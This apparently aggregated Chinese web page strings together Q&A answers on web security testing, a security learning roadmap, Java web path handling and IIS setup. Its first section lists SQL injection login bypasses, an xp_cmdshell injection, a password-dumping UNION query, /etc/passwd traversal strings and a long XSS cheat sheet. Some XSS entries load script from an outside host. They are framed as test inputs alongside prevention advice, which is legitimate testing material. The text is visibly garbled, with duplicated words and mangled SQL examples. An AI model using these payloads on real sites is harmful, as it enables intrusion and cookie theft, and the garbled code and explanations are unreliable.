1. 如何進行WEB安全性測試
安全性測試主要從以下方面考慮 主要從以下方面考慮: WEB 的安全性測試主要從以下方面考慮: Injection(sql 注入) 1.SQL Injection(SQL 注入) (1)如何進行 SQL 注入測試? 首先找到帶有參數傳遞的 URL 頁面,如 搜索頁面,登錄頁面,提交評論頁面等等. 注 1:對 於未明顯標識在 URL 中傳遞參數的,可以通過查看 HTML 源代碼中的 "FORM"標簽來辨別是否還有參數傳遞.在<FORM> 和</FORM>的標簽中間的每一個 參數傳遞都有可能被利用. <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form> 注 2:當你找不到有輸入行為的頁面時,可以嘗試找一些帶有某些參數的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其 次,在 URL 參數或表單中加入某些特殊的 SQL 語句或 SQL 片斷,如在登 錄頁面的 URL 中輸入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1:根據實際情況,SQL 注入請求可以使用以下語句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2:為什麼是 OR, 以及',――是特殊的字元呢? 例子:在登錄時進行身份驗證時,通常使用如下語句來進行驗證:sql=select * from user where username='username' and pwd='password' 如 輸入 http://ck/index.asp?username=admin' admin' or 1='1&pwd=11,SQL 語句會變成以下:sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 與 admin 前面的'組成了一個查詢條件,即 username='admin',接下來的語句將 按下一個查詢條件來執行. 接 下來是 OR 查詢條件,OR 是一個邏輯運 算符, 在判斷多個條件的時候, 只要一 個成立,則等式就成立,後面的 AND 就不再時行判斷了,也就是 說我們繞過了密碼 驗證,我們只用用戶名就可以登錄. 如 輸入 http://ck/index.asp?username=admin'--&pwd=11,SQL 語 admin'-admin'-11 句會 變成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '與 admin 前面的'組成了一個查 詢條件,即 username='admin',接下來的語句將按 下一個查詢條件來執行 接下來是"--"查詢條件,「--」是忽略或注釋,上 述通過連接符注釋掉後面的密碼驗 證(注:對 ACCESS 資料庫 資料庫無 效). 最後,驗證是否能入侵成功或是出錯的信息是否包含關於資料庫伺服器 的相關信息;如 果 能說明存在 SQL 安 全漏洞. 試想,如果網站存在 SQL 注入的危險,對於有經驗的惡意用戶還可能猜出資料庫表和表結 構,並對資料庫表進行增\刪\改的操 作,這樣造成的後果是非常嚴重的. (2)如何預防 SQL 注入? 從應用程序的角度來講,我們要做以下三項工作 工作: 工作 轉義敏感字元及字元串(SQL 的敏感字元包括 「exec」,」xp_」,」sp_」,」declare」,」Union」,」cmd」,」+」,」//」,」..」,」;」,」『」,」--」,」%」,」0x」,」><=!-*/()|」, 和」空格」). 屏蔽出錯信息:阻止攻擊者知道攻擊的結果 在服務端正式處理之前提交數據的合法性(合法性檢查主要包括三 項:數據類型,數據長度,敏感 字元的校驗)進行檢查等。最根本的解決手段,在確認客 戶端的輸入合法之前,服務端拒絕進行關 鍵性的處理操作. 從測試人員的角度來講,在程序開發前(即需求階段),我們就應該有意識的將 安全性檢查應用到需求測試中,例如對一個表單需求進行檢查時,我們一般檢驗 以下幾項安全性問題: 需求中應說明表單中某一 FIELD 的類型,長度,以及取值范圍(主要作用就 是禁止輸入敏感字元) 需求中應說明如果超出表單規定的類型,長度,以及取值范圍的,應用程序 應給出不包含任何代碼或資料庫信息的錯誤提示. 當然在執行測試的過程中,我們也需求對上述兩項內容進行測試. 2.Crossscritping(XSS):(跨站點腳本攻擊 跨站點腳本攻擊) 2.Cross-site scritping(XSS):(跨站點腳本攻擊) (1)如何進行 XSS 測試? <!--[if !supportLists]-->首先,找到帶有參數傳遞的 URL,如 交評論,發表留言 頁面等等。 登錄頁面,搜索頁面,提 <!--[if !supportLists]-->其次,在頁面參數中輸入如下語句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試: <scrīpt>alert(document.cookie)</scrīpt> 注:其它的 XSS 測試語句 ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt> <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert("XSS")> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <IMG SRC=javascript:ale <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS>< <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīp 最後,當用戶瀏覽 時便會彈出一個警告框,內容顯示的是瀏覽者當前的 cookie 串,這就 說明該網站存在 XSS 漏洞。 試想如果我們注入的不是以上這個簡單的測試代碼,而是一段經常精心設計的惡意腳 本,當用戶瀏覽此帖時,cookie 信息就可能成功的被 攻擊者獲取。此時瀏覽者的帳號 就很容易被攻擊者掌控了。 (2)如何預防 XSS 漏洞? 從應用程序的角度來講,要進行以下幾項預防: 對 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 語句或腳本進行轉義. 在 服務端正式處理之前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感 字元的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法之前,服務端 拒絕進行關 鍵性的處理操作. 從測試人員的角度來講,要從需求檢查和執行測試過程兩個階段來完成 XSS 檢查: 在需求檢查過程中對各輸入項或輸出項進行類型、長度以及取 值范圍進 行驗證,著重驗證是否對 HTML 或腳本代碼進行了轉義。 執行測試過程中也應對上述項進行檢查。 3.CSRF:(跨站點偽造請求) 3.CSRF:(跨站點偽造請求) CSRF:(跨站點偽造請求 CSRF 盡管聽起來像跨站腳本(XSS),但它與 XSS 非常不同,並且攻擊方式 幾乎相左。 XSS 是利用站點內的信任用戶,而 CSRF 則通過偽裝來自受信任用戶的請求 來利用受信任的網站。 XSS 也好, CSRF 也好, 它的目的在於竊取用戶的信息, SESSION 和 COOKIES 如 (關於 SESSION 和 COOKIES 的介紹請參見我的另一篇 BLOG: http://www.51testing.com/?49689/action_viewspace_itemid_74885.html), (1)如何進行 CSRF 測試? 關於這個主題本人也正在研究,目前主要通過安全性測試工具來進行檢查。 (2)如何預防 CSRF 漏洞? 請參見 http://www.hanguofeng.cn/archives/security/preventing-csrf 請 參見 http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_ avoid_exposing_your_gmail_contacts.html Injection(郵件標頭注入 郵件標頭注入) 4.Email Header Injection(郵件標頭注入) Email Header Injection:如果表單用於發送 email,表單中可能包括 「subject」輸入項(郵件標題),我們要驗證 subject 中應能 escape 掉「\n」 標識。 <!--[if !supportLists]--><!--[endif]-->因為「\n」是新行,如果在 subject 中輸入「hello\ncc:[email protected]」,可能會形成以 下 Subject: hello cc: [email protected] <!--[if !supportLists]--><!--[endif]-->如果允許用戶使用這樣的 其它用 subject, 那他可能會給利用這個缺陷通過我們的平台給其它 戶發送垃 其它 圾郵件。 Traversal(目錄遍歷 目錄遍歷) 5.Directory Traversal(目錄遍歷) (1)如何進行目錄遍歷測試? 目錄遍歷產生的原因是:程序中沒有過濾用戶輸入的「../」和「./」之 類的目錄跳轉符,導致惡意用戶可以通過提交目錄跳轉來遍歷伺服器上的 任意文件。 測試方法: URL 中輸入一定數量的 在 「../」 「./」 驗證系統是否 ESCAPE 和 , 掉了這些目錄跳轉符。 (2)如何預防目錄遍歷? 限制 Web 應用在伺服器上的運行 進 行嚴格的輸入驗證,控制用戶輸入非法路徑 messages(錯誤信息 錯誤信息) 6.exposed error messages(錯誤信息) (1)如何進行測試? 首 先找到一些錯誤頁面,比如 404,或 500 頁面。 驗證在調試未開通過的情況下, 是否給出了友好的錯誤提示信息比如「你 訪問的頁面不存 在」等,而並非曝露一些程序代碼。 (2)如何預防? 測試人員在進行需求檢查時,應該對出錯信息 進行詳細查,比如是否給 出了出錯信息,是否給出了正確的出錯信息。
2. web安全要學什麼
Web安全的范圍實在太大,哪些先學,哪些後學,如果沒有系統的路線會降低大家效率,對於剛入門的同學們來說簡直就是「噩夢」。所以,這篇類似學習路線的文章,希望可以幫助剛入門的萌新們少走彎路。(文末附學習資料及工具領取)
首先我們來看看企業對Web安全工程師的崗位招聘需求是什麼?
1職位描述
對公司各類系統進行安全加固;
對公司網站、業務系統進行安全評估測試(黑盒、白盒測試)
對公司安全事件進行響應、清理後門、根據日誌分析攻擊途徑
安全技術研究,包括安全防範技術、黑客技術等;
跟蹤最新漏洞信息,進行業務產品的安全檢查。
熟悉Web滲透測試方法和攻防技術,包括SQL注入、XSS跨站、CSRF偽造請求、命令執行等OWSP TOP10 安全漏洞與防禦;
熟悉Linux、Windows不同平台的滲透測試,對網路安全、系統安全、應用安全有深入理解和自己的認識;
熟悉國內外安全工具,包括Kali、Linux、Metasploit、Nessus、Namp、AWVS、Burp等;
對Web安全整體有深刻理解,有一定漏洞分析和挖掘能力;
2崗位要求
根據崗位技能需求,再來制定我們的學習路徑,如下:
一、Web安全學習路徑
01 HTTP基礎
只有搞明白Web是什麼,我們才能對Web安全進行深入研究,所以你必須了解HTTP,了解了HTTP,你就會明白安全術語的「輸入輸出」。黑客通過輸入提交「特殊數據」,特殊數據在數據流的每個層處理,如果某個層沒處理好,在輸出的時候,就會出現相應層的安全問題。關於HTTP,你必須要弄明白以下知識:
HTTP/HTTPS特點、工作流程
HTTP協議(請求篇、響應篇)
了解HTML、Javascript
Get/Post區別
Cookie/Session是什麼?
02 了解如下專業術語的意思
Webshell
菜刀
0day
SQL注入
上傳漏洞
XSS
CSRF
一句話木馬
......
03 專業黑客工具使用
熟悉如何滲透測試安全工具,掌握這些工具能大大提高你在工作的中的效率。
Vmware安裝
Windows/kali虛擬機安裝
Phpstudy、LAMP環境搭建漏洞靶場
Java、Python環境安裝
子域名工具 Sublist3r
Sqlmap
Burpsuite
Nmap
W3af
Nessus
Appscan
AWVS
04 XSS
要研究 XSS 首先了解同源策略 ,Javascript 也要好好學習一下 ,以及HTML實體 HTML實體的10 或16進制還有Javascript 的8進制和16進制編碼,最終掌握以下幾種類型的XSS:
反射型 XSS:可用於釣魚、引流、配合其他漏洞,如 CSRF 等。
存儲型 XSS:攻擊范圍廣,流量傳播大,可配合其他漏洞。
DOM 型 XSS:配合,長度大小不受限制 。
05 SQL注入
所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL命令。你需要了解以下知識:
SQL 注入漏洞原理
SQL 注入漏洞對於數據安全的影響
SQL 注入漏洞的方法
常見資料庫的 SQL 查詢語法
MSSQL,MYSQL,ORACLE 資料庫的注入方法
SQL 注入漏洞的類型:數字型注入 、字元型注入、搜索注入 、盲注(sleep注入) 、Sqlmap使用、寬位元組注入
SQL 注入漏洞修復和防範方法
一些 SQL 注入漏洞檢測工具的使用方法
06 文件上傳漏洞
了解下開源編輯器上傳都有哪些漏洞,如何繞過系統檢測上傳一句話木馬、WAF如何查殺Webshell,你必須要掌握的一些技能點:
1.客戶端檢測繞過(JS 檢測)
2.伺服器檢測繞過(目錄路徑檢測)
3.黑名單檢測
4.危險解析繞過攻擊
5..htaccess 文件
6.解析調用/漏洞繞過
7.白名單檢測
8.解析調用/漏洞繞過
9.服務端檢測繞過-文件內容檢測
10.Apache 解析漏洞
11.IIS 解析漏洞
12.Nginx 解析漏洞
07 文件包含漏洞
去學習下
include() include_once() require() require_once() fopen() readfile()
這些php函數是如何產生文件包含漏洞, 本地包含與遠程包含的區別,以及利用文件包含時的一些技巧如:截斷 /偽url/超長字元截斷等 。
08 命令執行漏洞
PHP代碼中常見的代碼執行函數有:
eval(), assert(), preg_replace(), call_user_func(), call_user_func_array(),create_function(), array_map()等。
了解這些函數的作用然後些搞清楚如何造成的代碼執行漏洞。
09 CSRF 跨站點請求
為什麼會造成CSRF,GET型與POST型CSRF 的區別, 如何防禦使用 Token防止CSRF?
010 邏輯漏洞
了解以下幾類邏輯漏洞原理、危害及學會利用這幾類漏洞:
信息轟炸、支付邏輯漏洞、任意密碼修改、越權訪問、條件競爭、任意注冊、任意登錄、順序執行缺陷、URL跳轉漏洞.
011 XEE(XML外部實體注入)
當允許XML引入外部實體時,通過構造惡意內容,可以導致文件讀取、命令執行、內網探測等危害。
012 SSRF
了解SSRF的原理,以及SSRF的危害。
SSRF能做什麼?當我們在進行Web滲透的時候是無法訪問目標的內部網路的,那麼這個時候就用到了SSRF漏洞,利用外網存在SSRF的Web站點可以獲取如下信息。
1.可以對外網、伺服器所在內網、本地進行埠掃描,獲取一些服務的banner信息;
2.攻擊運行在內網或本地的應用程序(比如溢出);
3.對內網Web應用進行指紋識別,通過訪問默認文件實現;
4.攻擊內外網的Web應用,主要是使用get參數就可以實現的攻擊(比如struts2,sqli等);
5.利用file協議讀取本地文件等。
如果上述漏洞原理掌握的都差不多那麼你就算入門Web安全了。
如果看了上面你還不知道具體如何學習?可參考合天網安實驗室Web安全工程師崗位培養路徑學習:網頁鏈接
3. Java Web結構下的路徑定址問題
WEB-INF/tree.xml 直接讀取這個位置。因為WebRoot本身就是根目錄了。而這個Java編譯後也在根目錄,所以位置就變成現在這樣了。不過具體要看一下Tomcat的設置這個Java程序的Web路徑。如果也在根目錄就是上面這個地址,你試一下。
4. web項目訪問路徑錯誤
打開eclipse 找到你要修改的項目,右鍵點擊,在彈出框中選擇properties,如圖;
4
然後去瀏覽器永新路京訪問即可。
5. web應用程序中判斷路徑是否合法的問題
早就回答你的問題了,自己開始沒說清楚要干什麼。
下面是有js做的判斷:
<script type="text/javascript">
var fso = new ActiveXObject("Scripting.FileSystemObject");
function aa(){
var filename=document.getElementById("name").value;
if( fso.FolderExists(filename)) { //判斷目錄是否存在
// if(fso.FileExists(filename)) {//判斷文件是否存在
alert("yes");
}else{
alert("no");
}
}
</script>
<input type="text" id="name"/><input type="button" onclick="aa()"/>
6. java中如何判斷web工程中圖片的絕對路徑是否存在
1.基本概念的理解
絕對路徑:絕對路徑就是你的主頁上的文件或目錄在硬碟上真正的路徑,(URL和物理路徑)例如:
C:/xyz/test.txt 代表了test.txt文件的絕對路徑。http://www.sun.com/index.htm也代表了一個
URL絕對路徑。
相對路徑:相對與某個基準目錄的路徑。包含Web的相對路徑(HTML中的相對目錄),例如:在
Servlet中,"/"代表Web應用的跟目錄。和物理路徑的相對表示。例如:"./" 代表當前目錄,
"../"代表上級目錄。這種類似的表示,也是屬於相對路徑。
另外關於URI,URL,URN等內容,請參考RFC相關文檔標准。
RFC 2396: Uniform Resource Identifiers (URI): Generic Syntax,
(http://www.ietf.org/rfc/rfc2396.txt)
2.關於JSP/Servlet中的相對路徑和絕對路徑。
2.1伺服器端的地址
伺服器端的相對地址指的是相對於你的web應用的地址,這個地址是在伺服器端解析的
(不同於html和javascript中的相對地址,他們是由客戶端瀏覽器解析的)也就是說這時候
在jsp和servlet中的相對地址應該是相對於你的web應用,即相對於http://192.168.0.1/webapp/的。
其用到的地方有:
forward:servlet中的request.getRequestDispatcher(address);這個address是
在伺服器端解析的,所以,你要forward到a.jsp應該這么寫:
request.getRequestDispatcher(「/user/a.jsp」)這個/相對於當前的web應用webapp,
其絕對地址就是:http://192.168.0.1/webapp/user/a.jsp。
sendRedirect:在jsp中<%response.sendRedirect("/rtccp/user/a.jsp");%>
2.22、客戶端的地址
所有的html頁面中的相對地址都是相對於伺服器根目錄(http://192.168.0.1/)的,
而不是(跟目錄下的該Web應用的目錄)http://192.168.0.1/webapp/的。
Html中的form表單的action屬性的地址應該是相對於伺服器根目錄(http://192.168.0.1/)的,
所以,如果提交到a.jsp為:action="/webapp/user/a.jsp"或action="<%=request.getContextPath()%>"/user/a.jsp;
提交到servlet為actiom="/webapp/handleservlet"
Javascript也是在客戶端解析的,所以其相對路徑和form表單一樣。
因此,一般情況下,在JSP/HTML頁面等引用的CSS,Javascript.Action等屬性前面最好都加上
<%=request.getContextPath()%>,以確保所引用的文件都屬於Web應用中的目錄。
另外,應該盡量避免使用類似".","./","../../"等類似的相對該文件位置的相對路徑,這樣
當文件移動時,很容易出問題。
3. JSP/Servlet中獲得當前應用的相對路徑和絕對路徑
3.1 JSP中獲得當前應用的相對路徑和絕對路徑
根目錄所對應的絕對路徑:request.getRequestURI()
文件的絕對路徑 :application.getRealPath(request.getRequestURI());
當前web應用的絕對路徑 :application.getRealPath("/");
取得請求文件的上層目錄:new File(application.getRealPath(request.getRequestURI())).getParent()
3.2 Servlet中獲得當前應用的相對路徑和絕對路徑
根目錄所對應的絕對路徑:request.getServletPath();
文件的絕對路徑 :request.getSession().getServletContext().getRealPath
(request.getRequestURI())
當前web應用的絕對路徑 :servletConfig.getServletContext().getRealPath("/");
(ServletContext對象獲得幾種方式:
javax.servlet.http.HttpSession.getServletContext()
javax.servlet.jsp.PageContext.getServletContext()
javax.servlet.ServletConfig.getServletContext()
)
4.java 的Class中獲得相對路徑,絕對路徑的方法
4.1單獨的Java類中獲得絕對路徑
根據java.io.File的Doc文擋,可知:
默認情況下new File("/")代表的目錄為:System.getProperty("user.dir")。
一下程序獲得執行類的當前路徑
package org.cheng.file;
import java.io.File;
public class FileTest {
public static void main(String[] args) throws Exception {
System.out.println(Thread.currentThread().getContextClassLoader().getResource(""));
System.out.println(FileTest.class.getClassLoader().getResource(""));
System.out.println(ClassLoader.getSystemResource(""));
System.out.println(FileTest.class.getResource(""));
System.out.println(FileTest.class.getResource("/")); //Class文件所在路徑
System.out.println(new File("/").getAbsolutePath());
System.out.println(System.getProperty("user.dir"));
}
}
4.2伺服器中的Java類獲得當前路徑(來自網路)
(1).Weblogic
WebApplication的系統文件根目錄是你的weblogic安裝所在根目錄。
例如:如果你的weblogic安裝在c:/bea/weblogic700.....
那麼,你的文件根路徑就是c:/.
所以,有兩種方式能夠讓你訪問你的伺服器端的文件:
a.使用絕對路徑:
比如將你的參數文件放在c:/yourconfig/yourconf.properties,
直接使用 new FileInputStream("yourconfig/yourconf.properties");
b.使用相對路徑:
相對路徑的根目錄就是你的webapplication的根路徑,即WEB-INF的上一級目錄,將你的參數文件放
在yourwebapp/yourconfig/yourconf.properties,
這樣使用:
new FileInputStream("./yourconfig/yourconf.properties");
這兩種方式均可,自己選擇。
(2).Tomcat
在類中輸出System.getProperty("user.dir");顯示的是%Tomcat_Home%/bin
(3).Resin
不是你的JSP放的相對路徑,是JSP引擎執行這個JSP編譯成SERVLET
的路徑為根.比如用新建文件法測試File f = new File("a.htm");
這個a.htm在resin的安裝目錄下
(4).如何讀相對路徑哪?
在Java文件中getResource或getResourceAsStream均可
例:getClass().getResourceAsStream(filePath);//filePath可以是"/filename",這里的/代表web
發布根路徑下WEB-INF/classes
默認使用該方法的路徑是:WEB-INF/classes。已經在Tomcat中測試。
5.讀取文件時的相對路徑,避免硬編碼和絕對路徑的使用。(來自網路)
5.1 採用Spring的DI機制獲得文件,避免硬編碼。
參考下面的連接內容:
http://www.javajia.net/viewtopic.php?p=90213&
5.2 配置文件的讀取
參考下面的連接內容:
http://dev.csdn.net/develop/article/39/39681.shtm
5.3 通過虛擬路徑或相對路徑讀取一個xml文件,避免硬編碼
參考下面的連接內容:
http://club.gamvan.com/club/clubPage.jsp?iPage=1&tID=10708&ccID=8
6.Java中文件的常用操作(復制,移動,刪除,創建等)(來自網路)
常用 java File 操作類
http://www.easydone.cn/014/200604022353065155.htm
Java文件操作大全(JSP中)
http://www.pconline.com.cn/pce/empolder/gj/java/0502/559401.html
java文件操作詳解(Java中文網)
http://www.51cto.com/html/2005/1108/10947.htm
JAVA 如何創建/刪除/修改/復制目錄及文件
http://www.gamvan.com/developer/java/2005/2/264.html
總結:
通過上面內容的使用,可以解決在Web應用伺服器端,移動文件,查找文件,復制
刪除文件等操作,同時對伺服器的相對地址,絕對地址概念更加清晰。
建議參考URI,的RFC標准文擋。同時對Java.io.File. Java.net.URI.等內容了解透徹
對其他方面的理解可以更加深入和透徹。
==================================================================================
參考資料:
java/docs/
java.io.File
java.io.InputStream
java.io.OutputStream
java.io.FileInputStream
java.io.FileReader;
java.io.FileOutputStream
java.io.FileWriter;
java.net.URI
java.net.URL
絕對路徑與相對路徑祥解
http://www.webjx.com/htmldata/2005-02-26/1109430310.html
[『J道習練』]JSP和Servlet中的絕對路徑和相對路徑
http://w3china.org/blog/more.asp?name=pcthomas&id=9122&commentid=12376
JSP,Servlet,Class獲得當前應用的相對路徑和絕對路徑
http://cy.lzu.e.cn/cy/club/clubPage.jsp?ccStyle=0&tID=886&ccID=77
如何獲得當前文件路徑
http://www.matrix.org.cn/resource/article/44/44113_java.html
通過Spring注入機制,取得文件
http://www.javajia.net/viewtopic.php?p=90213&
配置文件的讀取
http://dev.csdn.net/develop/article/39/39681.shtm
讀取配置文件,通過虛擬路徑或相對路徑讀取一個xml文件,避免硬編碼!
http://club.gamvan.com/club/clubPage.jsp?iPage=1&tID=10708&ccID=8
常用 java File 操作類
http://www.easydone.cn/014/200604022353065155.htm
Java文件操作大全
http://www.pconline.com.cn/pce/empolder/gj/java/0502/559401.html
Java文件操作詳解
http://www.51cto.com/html/2005/1108/10947.htm
7. web中html中的相對路徑和絕對路徑怎麼找
路徑是指文件在伺服器中的存儲位置。我們在使用計算機時要找到所需的文件時就必須知道文件的絕對路徑,例如,只要看到這個路徑d:/web/logo.gif,我們就知道logo.gif文件是在d盤的web目錄下。類似於這樣完整的描述文件位置的路徑就是絕對路徑。
絕對路徑還有一種表示方法就是以伺服器命名開始(如在本機中http://localhost)的完整描述文件位置的路徑,如通過IIS簡歷一個站點,站點下面有個文件叫test.htm,那麼用絕對路徑來顯示這個文件就是http://localhost//test.htm。
相對路徑主要用在我們的網站上,當ASP在發布一個目錄時,如果在Web上也像d:/web/test.htm一樣,就不會顯示在正常的頁面。這時需要通
過站點來訪問相對目錄,網頁上所有Web頁面程序和所顯示的圖片都是通過相對路徑來訪問的。如裡面的圖片訪問就是images/logo.gif我們可以
用"../"來表示上一級目錄,"../../"表示上上級目錄,依此類推。
8. 如何搭建測試web環境
步驟和方法:
1、打開控制面板,選擇並進入「程序」,雙擊「打開或關閉Windows服務」如圖所示:
3.出現Windows更改,需要等待時間的界面….
4.更新完成後,打開瀏覽器,輸入「http://localhost/」回車,如果此時出現IIS7歡迎界面,說明Web伺服器已經搭建成功。
5.當web伺服器搭建成功後,我們下一步所要做的就是把我們開發的網站安裝到Web伺服器的目錄中。一般情況下,當Web伺服器安裝完成後,會創建路徑「%系統根目錄%inetpub/wwwroot」,將我們開發的網站COPY到該路徑下。即可實現本地訪問該網站。
6.設置防火牆,讓區域網當其它計算機也能訪問本地網站資源。具體方法:打開控制面板,選擇「系統和安全」,點擊「允許程序通過Windows防火牆」,在彈出的對話框中勾選「萬維網服務HTTP」右側的兩個復選框,最後點擊確定退出。
7.在區域網中其它計算機上,打開瀏覽器,輸入 「http://Web伺服器的IP地址/」按回車鍵,就可以訪問伺服器上的資源」。 經過以上步驟的設置,區域網中的其它用戶就可以通過瀏覽器訪問你所共享的web資源了!
9. 跪求 網站資料庫地址掃描工具(web路徑探測掃描)
Xscan,LC4/5,流光……
10. 如何安全檢測Java Web應用網站漏洞
1、SQL注入漏洞
從SQL注入漏洞說起吧,在web漏洞里,SQL注入是最容易被利用而又最具有危害性的。怎麼快速的找到呢?先分析流程,就拿用戶查看文章這個流程為例:用戶訪問一個action,告訴它用戶想看ID為7的文章,這個action就會繼續完成前面所說的流程
2、暴露程序信息漏洞
這個漏洞是怎麼來的呢?我們需要從異常說起。有經驗的入侵者,可以從JSP程序的異常中獲取很多信息,比如程序的部分架構、程序的物理路徑、SQL注入爆出來的信息等,這個漏洞很容易防禦,卻很難快速定位漏洞文件。出現這樣漏洞的時候,通常是我們在寫代碼的時候,少了一些可能性的考慮而導致的。這樣的問題都是經驗造成的,而尋找漏洞也要通過經驗加運氣
3、AJAX暴露出來的漏洞
前面講SQL注入的時候說過的例子就是一個典型的情況,因為大多數網站不是在開發時就擁有Ajax技術的,都是後來看大家都用了,趕時髦加上。但是在加上的同時沒有意識到,在web上增加一個文件,就等於擴展了一點攻擊面。
4、業務邏輯漏洞
這個詞看起來挺抽象的,他和「暴露程序信息漏洞」有很多共同點,看名字就知道,應該是存在於業務邏輯層(service層)的漏洞。這樣的漏洞都和程序的運行邏輯有關。
5、XSS漏洞
這個漏洞也影響深遠,想要發現這樣的漏洞,除了在頁面上進行測試外,還要從流程上入手。用戶輸入有害信息後,信息保存到資料庫,從資料庫中讀出來丟給用戶時產生漏洞。也就是說我們有兩個過程可以攔截,就是保存到資料庫時,和從資料庫讀出來後交給用戶時。最快的方法是直接打開資料庫查看數據,如果數據沒有經過編碼直接放進了資料庫,那麼可能性就有了一半。剩下的一半更簡單,在action層搜索轉碼常用的字元,如果沒有,就很容易發現漏洞。即使有,也不用著急,在action層里慢慢找,很可能還有漏網之魚。
6、頁面層的邏輯漏洞
此類漏洞涵蓋面很大,包括「暴露不該暴露的數據」、「許可權控制的不精確」、「方便客戶的同時存在安全隱患」等等。這類漏洞就只能靠著自己的經驗,使用系統的每一個細小功能來尋找。